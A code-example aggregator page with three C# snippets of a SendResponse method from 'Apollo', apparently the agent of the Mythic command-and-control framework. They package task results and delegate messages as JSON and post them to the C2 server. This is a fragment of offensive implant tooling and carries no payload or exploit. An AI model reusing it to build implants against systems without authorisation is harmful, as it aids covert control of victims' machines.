示例#1
0
        public override string SendResponse(string id, Apollo.Tasks.ApolloTaskResponse taskresp)
        {
            try // Try block for HTTP requests
            {
                // Encrypt json to send to server
                //Structs.CheckTaskingRequest req = new Structs.CheckTaskingRequest()
                //{
                //    action = "get_tasking",
                //    tasking_size = 1
                //};
                //if (DelegateMessageQueue.Count > 0)
                //{
                //    DelegateMessageMtx.WaitOne();
                //    DelegateMessageQueue.ToArray();
                //    DelegateMessageQueue.Clear();
                //    //DelegateMessageQueue = new List<Dictionary<string, string>>();
                //    DelegateMessageMtx.ReleaseMutex();
                //}
                // Could add delegate post messages
                //string json = JsonConvert.SerializeObject(req);
                //Apfell.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject<Apfell.Structs.CheckTaskingResponse>(Send(json));
                Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse
                {
                    action    = "post_response",
                    responses = new Apollo.Tasks.ApolloTaskResponse[] { taskresp },
                    delegates = new Dictionary <string, string>[] { },
                };
                //Dictionary<string, string>[] delegateMessages = new Dictionary<string, string>[] { };
                if (DelegateMessageRequestQueue.Count > 0)
                {
                    DelegateMessageRequestMutex.WaitOne();
                    apfellResponse.delegates = DelegateMessageRequestQueue.ToArray();
                    DelegateMessageRequestQueue.Clear();
                    DelegateMessageRequestMutex.ReleaseMutex();
                }
                string json = JsonConvert.SerializeObject(apfellResponse);

                if (Send(id, json))
                {
                    string result = (string)Inbox.GetMessage(id);
                    //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}");
                    if (result.Contains("success"))
                    {
                        // If it was successful, return the result
                        return(result);
                    }
                }
                //throw (new Exception($"POST Task Response {taskresp.task} Failed"));
            }
            catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
            {
                return(e.Message);
            }
            return("");
        }
示例#2
0
 public abstract string SendResponse(string id, Apollo.Tasks.ApolloTaskResponse taskresp);
示例#3
0
 public override string SendResponse(string id, Apollo.Tasks.ApolloTaskResponse taskresp)
 {
     throw new NotImplementedException();
 }